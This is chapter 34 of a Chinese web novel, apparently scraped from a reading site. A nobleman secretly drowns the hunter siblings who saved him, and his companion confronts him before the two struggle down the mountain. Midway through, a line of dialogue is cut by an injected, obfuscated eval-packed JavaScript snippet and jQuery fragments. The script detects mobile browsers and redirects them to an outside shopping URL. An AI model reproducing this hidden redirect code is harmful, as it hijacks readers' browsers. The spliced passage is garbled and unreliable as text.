34.第 34 章

作品:《彀中

    青年道:“二位也知道,你们可是来路不明之人,我和妹妹救你们性命,实是冒着砍头的风险。只这几枚扳指,也不知道是不是你们……从何处偷来的,若是不能换回银两,反倒让我们惹祸上身,只怕更是一桩麻烦。”


    “是以,为二位着想,还是请你们修书一封与家人,要他们拿出凭证,接你们回去。”


    这分明是坐地起价。


    苻玄英对这些事情一向不甚在意,只提起了笔,问道:“郎君想要多少?”


    青年喜形于色,搓着手指道:“像你们这样的大户人家,拿出几千两金子,想来也不是难事。”


    苻玄英便没有再问,提笔写下家书。


    青年乐不可支,对绾娘低声道:“这些世家大族的子弟真是出手阔绰,只要随便泄上一点,都够我们下半辈子荣华富贵了!”


    谢菩提心道,苻玄英并非那么好脾气,只是不会将这些人看在眼里而已,人怎么会费心与蝼蚁置辞?


    忽的,身边光线一暗,绾娘在他身边坐下,自然开口道:“敢问郎君名姓?”


    谢菩提一顿,到底还是说出了名字。


    谢氏在邺都并非大姓,不过这两位猎户久居山林,对邺都的世家名姓也无甚了解,想也不会起疑。


    果然,绾娘只是道:“谢郎君,久闻邺都繁华,与我们这等乡野之地不同,此言非虚?”


    谢菩提道:“邺都的确繁华锦绣。”


    他们一问一答,倒也聊了些许时辰,末了,绾娘将那三枚扳指戴上了指心,语带嫌弃:“这扳指青色太重,压过了白色,倒也不怎么好看,还不如我编的花环呢。”


    谢菩提低眸看了一眼,便收回视线,原来这扳指在苻玄英的手上,才显得格外好看。


    不知怎么,心中生出遗憾。


    一道视线如影随形,谢菩提循着视线望去,又瞧见苻玄英脸上噙着的淡淡笑意,他端着一杯凉茶抵在唇边,却没有喝。


    瞧见谢菩提的视线,苻玄英对他笑着颔首。


    谢菩提唇线低了下去。


    待绾娘走后,谢菩提道:“他们毕竟救了我们性命。”


    苻玄英温声道:“在阿离心中,仆是这样的人?”


    谢菩提不置可否。


    苻玄英道:“既然如此,便留一人性命罢。”


    他果真不再伪装。


    谢菩提想了想,道:“那几枚扳指,你定有办法取回来。”


    苻玄英摇首:“我不喜欢肮脏的东西。”


    谢菩提无言,不再说话。


    夜里,谢菩提一人睡在榻上。


    苻玄英同他谦让,谢菩提便心安理得地躺了上去。


    反正夫子不在,他不那么尊敬师兄,也不会被人知晓。


    苻玄英在榻边坐下,帮谢菩提掖了一下被角,复又想起。


    幼时,他与阿离,也曾抵足而眠。


    谢菩提白日里看了一个皮影戏,里面魑魅魍魉横行,听闻妖鬼最爱以稚童血肉为食,谢菩提便一直黏在他身边,一刻都不敢离开。


    缘由也很莫名,因为谢菩提觉得他身边没有妖鬼近身。


    到了夜里,谢菩提便跑来敲他的房门,抱着自己的齐身枕头,央求道:“大哥哥,我能不能同你一起睡?”


    苻玄英略点了一下头,谢菩提便立即灵活而欢快地钻进了被窝里,将被子拉到盖过头顶,幸福地进入梦乡。


    苻玄英俯身,轻轻揉了揉谢菩提的脑袋。


    翌日,谢菩提在床边看见了一沓叠得齐整的衣服,那是他先前换下的染血的旧衣。


    此刻已经被清洗干净。


    谢菩提脸上的神情一瞬间难以言喻,他不是很想碰那堆衣裳,僵在原地,半晌没有动弹。


    恰在此时,苻玄英进来,若无其事地对他笑。


    谢菩提忍住了问个缘由的冲动,只当什么也没有发生。


    苻玄英帮他打了一盆水,将毛巾递给他,谢菩提接过,看清苻玄英的手臂上起了一片红疹,视线一顿。


    山林中多蚊虫,即便入冬,也依旧不时有蚊虫叮咬,只是,这些蚊虫,并不寻他的麻烦,都更为青睐苻玄英。


    苻玄英一向养尊处优,何曾吃过这样的苦头,谢菩提却不见苻玄英表现出任何怨怼神色。


    他这个人,仿佛无论何时都要当木雕泥塑的假人,端着寻不出错处的寡淡笑意。


    若不是被他连累,苻玄英大概一辈子也不会沦落到这种境地,谢菩提心情莫名好了些。


    当日后晌,绾娘发觉兄长下山送信后,直到如今尚未回来,心中生疑,便也下山去寻。


    她在山沟里翻出了兄长的尸首,泡在水中,脸部浮肿,几乎看不出本来面目了。


    绾娘几乎是瞬间惊叫出声,手足无措地转了几转,从旁边折下一根树枝,鼓起勇气想要拉起兄长的尸身。


    然而,她一转身,便只看见了苻玄英,被她和兄长救回来的两人之一。


    她先前全然没有注意这位,只是隐隐觉得此人表面和煦,然则令她觉得莫名危险,此刻被苻玄英注视着,她陡然背后发凉。


    电光火石之间,她什么都明白了,脸上浮现厌恶之色:“你……就是你动的手!”


    “我和兄长救你一命,你竟然如此恩将仇报!简直是罗刹心肠,就因为我兄长要你写信求财,你便如此狠毒!”


    绾娘遽然摘下手上戴着的扳指,嫌弃地丢在地上,那几枚扳指落在地上,裂痕更大。


    她恍然未觉,偏生在此时,苻玄英仍然笑着,让她毛骨悚然。


    绾娘退后几步,只想立即逃离此地。


    苻玄英从容道:“姑娘,我不想害你性命的。”


    绾娘发足狂奔,如同身处噩梦之中,周身都是浪涌,忽然之间,她失足踩在了一块滑石上,旋即坠入冰凉的潮水之中,被寒河淹没头顶,挣扎着也只能发出咕噜声响,不甘地下沉、下沉。


    那人道:“可你实在太聒噪了。”


    与此同时,谢菩提从山上砍了柴火,方才放下背篓,便见到此幕,与苻玄英四目相对一瞬,苻玄英笑容一僵。


    半晌无言。


    谢菩提道:“师兄不是答应过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282805|197617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,会留她性命么?”


    苻玄英一顿,思忖着道:“阿离,我……并非有意,这原是一桩意外。”


    这话若是换任何一个人说,谢菩提都会信,可苻玄英的话,谢菩提半个字也不想信。


    苻玄英抿抿唇,似乎有些无措,走近来道:“阿离,日后不会了。”


    谢菩提没再多说什么,只指着地上的玉石道:“师兄的扳指,当真不要了么?”


    苻玄英摇头。


    谢菩提自己捡起来收好了,免得日后苻玄英想起来又来找他讨要。


    没了领路人,他们在山上探路更加艰难,只依靠着那对兄妹留下的些许干粮硬撑。


    三日后,连干粮都已经啃得干干净净。


    谢菩提不得不去林间摘一些红绿色,半生不熟的野果充饥,他特意洗了一半,分与苻玄英。


    苻玄英不大能接受这样的糟糠食物,吃得极少,因而脸色也比谢菩提更加虚弱,唇瓣干燥失血,对谢菩提喂到唇边的野果轻轻摇头。


    谢菩提咬着牙齿:“苻玄英,你……究竟想要如何?!”


    “师兄从前不是演得很好么?如今连骗一骗我都不愿了么?”


    苻玄英脸上笑意淡淡:“也许,根本出不去了……”


    “阿离一个人出去,会容易得多……咳……”


    谢菩提的手指紧握成拳,到底没有落在苻玄英脸上,他重重地锤进地上,被碎石刮伤手指,也浑然不觉。


    半晌,谢菩提终于抬起头,硬生生把苻玄英拽得离自己近了些,无视苻玄英的脸色,硬是将野果子塞进苻玄英口中,寒声道:“你的命是我救的,你不配如此挥霍性命。”


    野果在齿间迸开,酸涩的汁水四溢,苻玄英畏酸,不免蹙起眉心。


    谢菩提视若无睹,道:“如今在山上,只有这样的东西可以果腹了,师兄再是嫌弃,也等下山再说。”


    苻玄英睫羽颤了颤,仿佛被说动了,终于坐起身,主动伸长手,去够剩下的野果,然而他的手腕伤得实在太重,行动之间,再度牵动伤口,有血漫流。


    手腕的那点伤疤,被苻玄英反复折腾几回,如今已然是一片狼藉,几乎不能入目,谢菩提看见那道溃烂的伤口,便低了低眼,欲言又止。


    苻玄英察觉到谢菩提的眼神,对他温柔笑笑:“对不起……”


    谢菩提漠然置之,只是专挑品相最好的野果,一颗一颗喂苻玄英吃下。


    ·


    如同真心认错一般,自从那句道歉之后,苻玄英便温顺了许多。


    在谢菩提摘野果子时,苻玄英便也与他一道,任那横生的荆棘将他的手划得鲜血淋漓,苻玄英依旧温柔浅笑,从不抱怨。


    这几日,他们总算在山中转出了经验,不再如同无头苍蝇一样乱转,下山之路,近在眼前。


    莫名的,谢菩提觉得不再那么难捱,他与苻玄英,也不必如从前那样剑拔弩张。


    他们风尘仆仆地走到了山下最近的一间客栈,暂且歇脚。


    苻玄英伤得更重,留在客栈暂歇,谢菩提便去街上买几包点心。